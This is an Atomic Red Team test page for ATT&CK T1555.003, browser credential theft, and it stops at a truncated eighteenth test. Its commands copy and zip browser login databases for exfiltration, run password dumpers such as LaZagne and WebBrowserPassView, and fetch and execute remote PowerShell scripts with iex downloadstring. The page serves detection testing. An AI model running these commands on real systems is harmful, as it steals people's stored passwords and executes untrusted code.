logo
SlackReddit

T1555.003

Credentials from Password Stores: Credentials from Web Browsers

Description from ATT&CK

Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager.

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

Source

Atomic Tests

Atomic Test #1: Run Chrome-password Collector

A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.

Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of PathToAtomicsFolder..\ExternalPayloads\sysinternals\passwordsdb.

Adapted from MITRE ATTACK Evals

Supported Platforms: Windows

auto_generated_guid: 8c05b133-d438-47ca-a630-19cc464c4622

Inputs

NameDescriptionTypeDefault Value
file_pathFile path for modified SysinternalsstringPathToAtomicsFolder\..\ExternalPayloads

Attack Commands: Run with powershell!

Start-Process "#{file_path}\Sysinternals\accesschk.exe" -ArgumentList "-accepteula ."

Cleanup Commands

Remove-Item "#{file_path}\Sysinternals" -Force -Recurse -ErrorAction Ignore

Dependencies: Run with powershell!

Description: Modified Sysinternals must be located at #{file_path}
Check Prereq Commands
if (Test-Path "#{file_path}\SysInternals") {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip" -UseBasicParsing
Expand-Archive "#{file_path}\Modified-SysInternalsSuite.zip" "#{file_path}\sysinternals" -Force
Remove-Item "#{file_path}\Modified-SysInternalsSuite.zip" -Force

Atomic Test #2: Search macOS Safari Cookies

This test uses grep to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware.

Upon successful execution, MacOS shell will cd to ~/Libraries/Cookies and grep for Cookies.binarycookies.

Supported Platforms: macOS

auto_generated_guid: c1402f7b-67ca-43a8-b5f3-3143abedc01b

Inputs

NameDescriptionTypeDefault Value
search_stringString to search Safari cookies to find.stringcoinbase

Attack Commands: Run with sh!

cd ~/Library/Cookies
grep -q "#{search_string}" "Cookies.binarycookies"

Atomic Test #3: LaZagne - Credentials from Browser

The following Atomic test utilizes LaZagne to extract passwords from browsers on the Windows operating system. LaZagne is an open source application used to retrieve passwords stored on a local computer.

Supported Platforms: Windows

auto_generated_guid: 9a2915b3-3954-4cce-8c76-00fbf4dbd014

Inputs

NameDescriptionTypeDefault Value
lazagne_pathPath to LaZagnepathPathToAtomicsFolder\T1555.003\bin\LaZagne.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

"#{lazagne_path}" browsers

Dependencies: Run with powershell!

Description: LaZagne.exe must exist on disk at specified location (#{lazagne_path})
Check Prereq Commands
if (Test-Path "#{lazagne_path}") {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory (split-path "#{lazagne_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.5/LaZagne.exe" -OutFile "#{lazagne_path}" -UseBasicParsing

Atomic Test #4: Simulating access to Chrome Login Data

Simulates an adversary accessing encrypted credentials from Google Chrome Login database.

Supported Platforms: Windows

auto_generated_guid: 3d111226-d09a-4911-8715-fe11664f960d

Inputs

NameDescriptionTypeDefault Value
installer_pathwhere the installer will be downloaded to or already is locatedpathPathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi
download_urlurl to install Chrome fromurlhttps://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi

Attack Commands: Run with powershell!

Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination "PathToAtomicsFolder\..\ExternalPayloads"
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination "PathToAtomicsFolder\..\ExternalPayloads"

Cleanup Commands

Get-Package -Name "Google Chrome" | Uninstall-Package -Force
Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data" -Force -ErrorAction Ignore
Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data For Account" -Force -ErrorAction Ignore
Remove-Item -Path "$env:LOCALAPPDATA\Google" -Force -Recurse -ErrorAction Ignore
Remove-Item "#{installer_path}" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: Chrome must be installed
Check Prereq Commands
if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1}
Get Prereq Commands
if (!(Test-Path "#{installer_path}")){
  $parentpath = Split-Path "#{installer_path}"
  New-Item -Type Directory "$parentpath" -ErrorAction Ignore -Force | Out-Null
  (New-Object Net.WebClient).DownloadFile("#{download_url}","#{installer_path}")
}
$path = Convert-Path -LiteralPath "#{installer_path}"
msiexec.exe /i "$path" /qn
Start-Sleep -Seconds 100
Start-Process -FilePath "C:\Program Files\Google\Chrome\Application\chrome.exe"
Stop-Process -Name "chrome"
Description: Chrome login data file must exist
Check Prereq Commands
if ((Test-Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data") -and (Test-Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account")) {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default" -ItemType Directory -Force -ErrorAction SilentlyContinue
New-Item -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -ItemType File -Force -ErrorAction SilentlyContinue
New-Item -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -ItemType File -Force -ErrorAction SilentlyContinue

Atomic Test #5: Simulating access to Opera Login Data

Simulates an adversary accessing encrypted credentials from Opera web browser's login database.

Supported Platforms: Windows

auto_generated_guid: 28498c17-57e4-495a-b0be-cc1e36de408b

Inputs

NameDescriptionTypeDefault Value
installer_pathwhere the installer will be downloaded to or already is locatedpathPathToAtomicsFolder\..\ExternalPayloads\OperaStandaloneInstaller.exe
download_urlurl to install Opera fromurlhttps://get.geo.opera.com/pub/opera/desktop/82.0.4227.43/win/Opera_82.0.4227.43_Setup.exe

Attack Commands: Run with powershell!

Copy-Item "$env:APPDATA\Opera Software\Opera Stable\Login Data" -Destination "PathToAtomicsFolder\..\ExternalPayloads"

Cleanup Commands

Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data" -Force -ErrorAction SilentlyContinue
$parent_dir = Split-Path "#{installer_path}"
Start-Process -FilePath "$parent_dir/opera.exe" -ArgumentList "--uninstall --runimmediately --deleteuserprofile=1" -Wait
Remove-Item -Path "$parent_dir/82.0.4227.43" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item -Path "$parent_dir/assistant" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item -Path "$parent_dir/installer_prefs*" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item -Path "$parent_dir/server_tracking_data" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item -Path "$parent_dir/launcher.exe" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item -Path "#{installer_path}" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item -Path "C:\Program Files (x86)\Opera" -Recurse -Force -ErrorAction SilentlyContinue

Dependencies: Run with powershell!

Description: Opera must be installed
Check Prereq Commands
if (Test-Path "#{installer_path}/../opera.exe")  {exit 0} else {exit 1}
Get Prereq Commands
if (!(Test-Path "#{installer_path}")){
  $parentpath = Split-Path "#{installer_path}"
  New-Item -Type Directory "$parentpath" -ErrorAction Ignore -Force | Out-Null
  (New-Object Net.WebClient).DownloadFile("#{download_url}","#{installer_path}")
}
$path = Convert-Path -LiteralPath "#{installer_path}"
Start-Process $path -ArgumentList '/install /silent /launchopera=1 /setdefaultbrowser=0'
Start-Sleep -s 120
Stop-Process -Name "opera"
Description: Opera login data file must exist
Check Prereq Commands
if (Test-Path "$env:APPDATA\Opera Software\Opera Stable\Login Data") {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Path "$env:APPDATA\Opera Software\Opera Stable\Login Data" -ItemType File

Atomic Test #6: Simulating access to Windows Firefox Login Data

Simulates an adversary accessing encrypted credentials from firefox web browser's login database. more info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data

Supported Platforms: Windows

auto_generated_guid: eb8da98a-2e16-4551-b3dd-83de49baa14c

Inputs

NameDescriptionTypeDefault Value
installer_pathwhere the installer will be downloaded to or already is locatedpathPathToAtomicsFolder\..\ExternalPayloads\firefoxsetup.exe
download_urlurl to install Firefox fromurlhttps://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-US

Attack Commands: Run with powershell!

Copy-Item "$env:APPDATA\Mozilla\Firefox\Profiles\" -Destination "PathToAtomicsFolder\..\ExternalPayloads" -Force -Recurse

Cleanup Commands

Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Profiles" -Force -ErrorAction Ignore -Recurse
Start-Process -FilePath "C:\Program Files\Mozilla Firefox\uninstall\helper.exe" -ArgumentList "/S" -Wait
Remove-Item -Path "#{installer_path}" -Force -ErrorAction Ignore -Recurse

Dependencies: Run with powershell!

Description: Firefox must be installed
Check Prereq Commands
if ((Test-Path "C:\Program Files\Mozilla Firefox\firefox.exe")) {exit 0} else {exit 1}
Get Prereq Commands
if (!(Test-Path "#{installer_path}")){
    $parentpath = Split-Path "#{installer_path}"
    New-Item -Type Directory "$parentpath" -ErrorAction Ignore -Force | Out-Null
    (New-Object Net.WebClient).DownloadFile("#{download_url}","#{installer_path}")
  }
Start-Process "#{installer_path}" -ArgumentList '/silent' -Wait
Description: Firefox login data file must exist
Check Prereq Commands
if (Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\") {exit 0} else {exit 1}
Get Prereq Commands
$firefox="C:\Program Files\Mozilla Firefox\firefox.exe"
Start-Process $firefox -ArgumentList '-CreateProfile Atomic' -Wait
Start-Process $firefox -NoNewWindow
Start-Sleep -s 20
Stop-Process -Name firefox

Atomic Test #7: Simulating access to Windows Edge Login Data

Simulates an adversary accessing encrypted credentials from Edge web browser's login database. more info in https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/

Supported Platforms: Windows

auto_generated_guid: a6a5ec26-a2d1-4109-9d35-58b867689329

Attack Commands: Run with powershell!

Copy-Item "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default" -Destination "PathToAtomicsFolder\..\ExternalPayloads\Edge" -Force -Recurse

Cleanup Commands

Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Edge" -Force -ErrorAction Ignore -Recurse

Dependencies: Run with powershell!

Description: Edge must be installed
Check Prereq Commands
if (Test-Path "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe") {exit 0} else {exit 1}
Get Prereq Commands
"Installation is not implemented as Edge is a part of windows"
Description: Edge login data file must exist
Check Prereq Commands
if (Test-Path "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default") {exit 0} else {exit 1}
Get Prereq Commands
$edge="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
Start-Process $edge
Start-Sleep -s 20
Stop-Process -Name msedge

Atomic Test #8: Decrypt Mozilla Passwords with Firepwd.py

Firepwd.py is a script that can decrypt Mozilla (Thunderbird, Firefox) passwords. Upon successful execution, the decrypted credentials will be output to a text file, as well as displayed on screen.

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.

Supported Platforms: Windows

auto_generated_guid: dc9cd677-c70f-4df5-bd1c-f114af3c2381

Inputs

NameDescriptionTypeDefault Value
Firepwd_PathFilepath for Firepwd.pystringPathToAtomicsFolder\..\ExternalPayloads\venv_t1555.004\Scripts\Firepwd.py
Out_FilepathFilepath to output results tostring$env:temp\T1555.003Test8.txt
VS_CMD_PathFilepath to Visual Studio Build Tools Command promptstringC:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Auxiliary\Build\vcvars64.bat
Python_PathFilepath to pythonstringC:\Program Files\Python310\python.exe
venv_pathPath to the folder for the tactics venvstringPathToAtomicsFolder\..\ExternalPayloads\venv_t1555.004

Attack Commands: Run with powershell!

$PasswordDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\"
cmd /c #{venv_path}\Scripts\python.exe #{Firepwd_Path} -d $PasswordDBLocation > #{Out_Filepath}
cat #{Out_Filepath}

Cleanup Commands

Remove-Item -Path "#{Out_Filepath}" -erroraction silentlycontinue

Dependencies: Run with powershell!

Description: Firefox profile directory must be present
Check Prereq Commands
if (get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\" -erroraction silentlycontinue) {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://ftp.mozilla.org/pub/firefox/releases/98.0/win64/en-US/Firefox%20Setup%2098.0.msi" -outfile "PathToAtomicsFolder\..\ExternalPayloads\firefox.msi" -UseBasicParsing
msiexec.exe /i "PathToAtomicsFolder\..\ExternalPayloads\firefox.msi" /quiet
sleep -s 30
start-process "$env:programfiles\Mozilla Firefox\firefox.exe".
sleep -s 5
stop-process -name "firefox"
Description: Visual Studio Build Tools command prompt must exist at #{VS_CMD_Path}
Check Prereq Commands
if (Test-Path "#{VS_CMD_Path}") {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
invoke-webrequest "https://aka.ms/vs/17/release/vs_BuildTools.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\VS_BuildTools.exe" -UseBasicParsing
write-host "Visual Studio Build Tools (Desktop Development with C++) must be installed manually. Please run the installer from PathToAtomicsFolder\..\ExternalPayloads\VS_BuildTools.exe."
Description: Python must be installed
Check Prereq Commands
if (Test-Path "#{Python_Path}") {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -UseBasicParsing
Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait
Description: Computer must have venv configured at #{venv_path}
Check Prereq Commands
if (Test-Path -Path "#{venv_path}") { exit 0 } else { exit 1 }
Get Prereq Commands
py -m venv "#{venv_path}"
Description: Firepwd must exist at #{Firepwd_Path}
Check Prereq Commands
if (Test-Path "#{Firepwd_Path}") {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
Invoke-WebRequest "https://raw.githubusercontent.com/lclevy/firepwd/167eabf3b88d5a7ba8b8bc427283f827b6885982/firepwd.py" -outfile "#{Firepwd_Path}" -UseBasicParsing
Description: Pycryptodome library must be installed
Check Prereq Commands
if (#{venv_path}\Scripts\pip.exe show pycryptodome) {exit 0} else {exit 1}
Get Prereq Commands
if (test-path "#{VS_CMD_Path}"){#{venv_path}\Scripts\pip.exe install pycryptodome | out-null | cmd /c %comspec% /k "#{VS_CMD_Path}" | out-null} else {write-host "Visual Studio Build Tools (C++ Support) must be installed to continue gathering this prereq"}
Description: Pyasn1 library must be installed
Check Prereq Commands
if (#{venv_path}\Scripts\pip.exe show pyasn1) {exit 0} else {exit 1}
Get Prereq Commands
if (test-path "#{VS_CMD_Path}") & {#{venv_path}\Scripts\pip.exe install pyasn1 | out-null | cmd /c %comspec% /k "#{VS_CMD_Path}" | out-null} else {write-host "Visual Studio Build Tools (C++ Support) must be installed to continue gathering this prereq."}

Atomic Test #9: LaZagne.py - Dump Credentials from Firefox Browser

Credential Dump Ubuntu 20.04.4 LTS Focal Fossa Firefox Browser, Reference https://github.com/AlessandroZ/LaZagne

Supported Platforms: Linux

auto_generated_guid: 87e88698-621b-4c45-8a89-4eaebdeaabb1

Inputs

NameDescriptionTypeDefault Value
lazagne_pathPath you put LaZagne Github with LaZagne.pystring/tmp/LaZagne/Linux
specific_moduleYou may change the module to "all" for all password that can be found by LaZagne.pystringbrowsers -firefox
output_fileThis is where output for the Firefox passwords goesstring/tmp/firefox_password.txt

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

python3 #{lazagne_path}/laZagne.py #{specific_module} >> #{output_file}

Cleanup Commands

rm -R /tmp/LaZagne; rm -f #{output_file}

Dependencies: Run with sh!

Description: Get Lazagne from Github and install requirements
Check Prereq Commands
test -f #{lazagne_path}/laZagne.py
Get Prereq Commands
cd /tmp; git clone https://github.com/AlessandroZ/LaZagne; cd /tmp/LaZagne/; pip install -r requirements.txt
Description: Needs git, python3 and some pip stuff
Check Prereq Commands
which git && which python3 && which pip
Get Prereq Commands
apt install git; apt install python3-pip -y; pip install pyasn1 psutil Crypto

This test is designed to search a drive for credential files used by the most common web browsers on Windows (Firefox, Chrome, Opera, and Edge), export the found files to a folder, and zip it, simulating how an adversary might stage sensitive credential files for exfiltration in order to conduct offline password extraction with tools like firepwd.py or HackBrowserData.

Supported Platforms: Windows

auto_generated_guid: f543635c-1705-42c3-b180-efd6dc6e7ee7

Attack Commands: Run with powershell!

$exfil_folder = "$env:temp\T1555.003"
if (test-path "$exfil_folder") {} else {new-item -path "$env:temp" -Name "T1555.003" -ItemType "directory" -force}
$FirefoxCredsLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\"
if (test-path "$FirefoxCredsLocation\key4.db") {copy-item "$FirefoxCredsLocation\key4.db" -destination "$exfil_folder\T1555.003Firefox_key4.db"} else {}
if (test-path "$FirefoxCredsLocation\logins.json") {copy-item "$FirefoxCredsLocation\logins.json" -destination "$exfil_folder\T1555.003Firefox_logins.json"} else {}
if (test-path "$env:localappdata\Google\Chrome\User Data\Default\Login Data") {copy-item "$env:localappdata\Google\Chrome\User Data\Default\Login Data" -destination "$exfil_folder\T1555.003Chrome_Login Data"} else {}
if (test-path "$env:localappdata\Google\Chrome\User Data\Default\Login Data For Account") {copy-item "$env:localappdata\Google\Chrome\User Data\Default\Login Data For Account" -destination "$exfil_folder\T1555.003Chrome_Login Data For Account"} else {}
if (test-path "$env:appdata\Opera Software\Opera Stable\Login Data") {copy-item "$env:appdata\Opera Software\Opera Stable\Login Data" -destination "$exfil_folder\T1555.003Opera_Login Data"} else {}
if (test-path "$env:localappdata/Microsoft/Edge/User Data/Default/Login Data") {copy-item "$env:localappdata/Microsoft/Edge/User Data/Default/Login Data" -destination "$exfil_folder\T1555.003Edge_Login Data"} else {}
compress-archive -path "$exfil_folder" -destinationpath "$exfil_folder.zip" -force

Cleanup Commands

Remove-Item -Path "$env:temp\T1555.003.zip" -force -erroraction silentlycontinue
Remove-Item -Path "$env:temp\T1555.003\" -force -recurse -erroraction silentlycontinue

Atomic Test #11: WinPwn - BrowserPwn

Collect Browser credentials as well as the history via winpwn browserpwn function of WinPwn.

Supported Platforms: Windows

auto_generated_guid: 764ea176-fb71-494c-90ea-72e9d85dce76

Attack Commands: Run with powershell!

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
browserpwn -consoleoutput -noninteractive

Cleanup Commands

rm .\System.Data.SQLite.dll -ErrorAction Ignore

Atomic Test #12: WinPwn - Loot local Credentials - mimi-kittenz

Loot local Credentials - mimi-kittenz technique via function of WinPwn - Extend timeout to 600s

Supported Platforms: Windows

auto_generated_guid: ec1d0b37-f659-4186-869f-31a554891611

Attack Commands: Run with powershell!

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
kittenz -consoleoutput -noninteractive

Atomic Test #13: WinPwn - PowerSharpPack - Sharpweb for Browser Credentials

PowerSharpPack - Sharpweb searching for Browser Credentials technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: e5e3d639-6ea8-4408-9ecd-d5a286268ca0

Attack Commands: Run with powershell!

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1')
Invoke-Sharpweb -command "all"

Atomic Test #14: Simulating Access to Chrome Login Data - MacOS

This test locates the Login Data files used by Chrome to store encrypted credentials, then copies them to the temp directory for later exfil. Once the files are exfiltrated, malware like CookieMiner could be used to perform credential extraction. See https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ .

Supported Platforms: macOS

auto_generated_guid: 124e13e5-d8a1-4378-a6ee-a53cd0c7e369

Attack Commands: Run with sh!

cp ~/Library/"Application Support/Google/Chrome/Default/Login Data" "/tmp/T1555.003_Login Data"
cp ~/Library/"Application Support/Google/Chrome/Default/Login Data For Account" "/tmp/T1555.003_Login Data For Account"

Cleanup Commands

rm "/tmp/T1555.003_Login Data" >/dev/null 2>&1
rm "/tmp/T1555.003_Login Data For Account" >/dev/null 2>&1

Atomic Test #15: WebBrowserPassView - Credentials from Browser

The following Atomic test utilizes WebBrowserPassView to extract passwords from browsers on a Window system. WebBrowserPassView is an open source application used to retrieve passwords stored on a local computer. Recently noticed as a tool used in the BlackCat Ransomware.

Supported Platforms: Windows

auto_generated_guid: e359627f-2d90-4320-ba5e-b0f878155bbe

Inputs

NameDescriptionTypeDefault Value
webbrowserpassview_pathPath to the WebBrowserPassView executablestringPathToAtomicsFolder\T1555.003\bin\WebBrowserPassView.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Start-Process "#{webbrowserpassview_path}"
Start-Sleep -Second 4
Stop-Process -Name "WebBrowserPassView"

Dependencies: Run with powershell!

Description: Check if WebBrowserPassView.exe exists in the specified path #{webbrowserpassview_path}
Check Prereq Commands
if (Test-Path "#{webbrowserpassview_path}") {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\T1555.003\bin\" -ErrorAction ignore -Force | Out-Null
Invoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1555.003/bin/WebBrowserPassView.exe -OutFile "#{webbrowserpassview_path}" -UseBasicParsing

Atomic Test #16: BrowserStealer (Chrome / Firefox / Microsoft Edge)

Github Repo Simple password/cookies stealer for chrome, edge, and gecko based browsers (30 listed working). This attack simulates stealing the data from the browser files and printing them to the command line. If using to test with Firefox, if the browser is x64 you need to use the x64 build

Supported Platforms: Windows

auto_generated_guid: 6f2c5c87-a4d5-4898-9bd1-47a55ecaf1dd

Attack Commands: Run with powershell!

$profile = (Gci -filter "*default-release*" -path $env:Appdata\Mozilla\Firefox\Profiles\).FullName
Copy-Item $profile\key4.db -Destination "PathToAtomicsFolder\..\ExternalPayloads" > $null
Copy-Item $profile\logins.json -Destination "PathToAtomicsFolder\..\ExternalPayloads" > $null
Remove-Item $profile\key4.db > $null
Remove-Item $profile\logins.json > $null
Copy-Item "$env:PathToAtomicsFolder\T1555.003\src\key4.db" -Destination $profile\ > $null
Copy-Item "$env:PathToAtomicsFolder\T1555.003\src\logins.json" -Destination $profile\ > $null
cd "$env:PathToAtomicsFolder\T1555.003\bin"
""|.\BrowserCollector.exe

Cleanup Commands

$profile = (Gci -filter "*default-release*" -path $env:Appdata\Mozilla\Firefox\Profiles\).FullName
Remove-Item $profile\key4.db > $null
Remove-Item $profile\logins.json > $null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads" -Destination $profile\ > $null
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\key4.db" > $null
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\logins.json" > $null

Dependencies: Run with powershell!

Description: Firefox must be on the device.
Check Prereq Commands
if ((Test-Path "C:\Program Files\Mozilla Firefox\firefox.exe") -Or (Test-Path "C:\Program Files (x86)\Mozilla Firefox\firefox.exe")) {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
$installer = "PathToAtomicsFolder\..\ExternalPayloads\FirefoxStubInstaller.exe"
Invoke-WebRequest -OutFile $installer "https://download.mozilla.org/?product=firefox-stub&os=win&lang=en-US" -UseBasicParsing
Start-Process -FilePath $installer -Wait
Stop-Process -Name "firefox"
Description: BrowserCollector must exist in the bin directory
Check Prereq Commands
if (Test-Path "PathToAtomicsFolder\T1555.003\bin\BrowserCollector.exe") {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\T1555.003\bin\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/SaulBerrenson/BrowserStealer/releases/download/1.0.0.4/BrowserCollector_x64.exe" -Outfile: "PathToAtomicsFolder\T1555.003\bin\BrowserCollector.exe" -UseBasicParsing
Description: Login Data file that is a copy of a Firefox Login Data that contains credentials for the tool to "steal." Must exist at the specified path.
Check Prereq Commands
if (Test-Path "PathToAtomicsFolder\T1555.003\src\key4.db") {exit 0} else {exit 1}
Get Prereq Commands
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.003/src/key4.db?raw=true" -Outfile: "PathToAtomicsFolder\T1555.003\src\key4.db" -UseBasicParsing
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.003/src/logins.json?raw=true" -Outfile: "PathToAtomicsFolder\T1555.003\src\logins.json" -UseBasicParsing

Atomic Test #17: Dump Chrome Login Data with esentutl

This test simulates an adversary using esentutl to dump encrypted credentials from Google Chrome's Login database. Reference

Supported Platforms: Windows

auto_generated_guid: 70422253-8198-4019-b617-6be401b49fce

Inputs

NameDescriptionTypeDefault Value
output_pathFile path for login data dumpstring%temp%\T1555.003_Login_Data.tmp

Attack Commands: Run with command_prompt!

esentutl.exe /y "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /d "#{output_path}"

Cleanup Commands

del /f /q #{output_path} > nul 2>&1

Dependencies: Run with powershell!

Description: Chrome must be installed
Check Prereq Commands
if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
$installer = "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi"
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi" https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi -UseBasicParsing
msiexec /i $installer /qn
Start-Process -FilePath "chrome.exe"
Stop-Process -Name "chrome"

Atomic Test #18: Query Chrome Login Data In Place with sqlite3 - MacOS

Reads Google Chrome's Login Data SQLite database in place with the Apple-signed /usr/bin/sqlite3 binary, instead of copying the database somewhere else first. The saved origin URLs and usernames are written to the output file. Passwords stay in the password_value BLOB column and remain encrypted with the Chrome Safe Storage key, so this test collects the credential index rather than plaintext secrets.

The ?immutable=1 URI parameter is the part that matters. Chrome holds a lock on the database while it is running, and a plain sqlite3 "<path>" "SELECT ..." fails with Error: in prepare, database is locked (5). Opening the file through a file: URI with immutable=1 reads it without taking a lock, so the test works against a live browser and does not need to kill Chrome first, which is what the published LOOBins one-liner for Firefox does.

This matters for detection because sqlite3 ships with macOS and is signed by Apple, so controls that key on code signing trust or on an unknown binary touching the profile directory do not fire on it.

LOOBins sqlite3 documents the same binary being used against browser cookie databases. Red Canary documented macOS malware invoking the sqlite3 CLI, and Jamf documented a macOS infostealer working around the same database lock through the SQLite backup API.

Upon successful execution, the output file contains one line per saved login in the form origin_url|username_value. If Chrome has no saved logins the file is created and left empty.

Supported Platforms: macOS

auto_generated_guid: 29d0c390-3cbc-4e4e-a52b-a1350ed836b7

Inputs

NameDescriptionTypeDefault Value
chrome_profileName of the Chrome profile directory to readstringDefault
output_filePath the query results are written topath/tmp/T1555.003_chrome_logins.txt

Attack Commands: Run with sh!

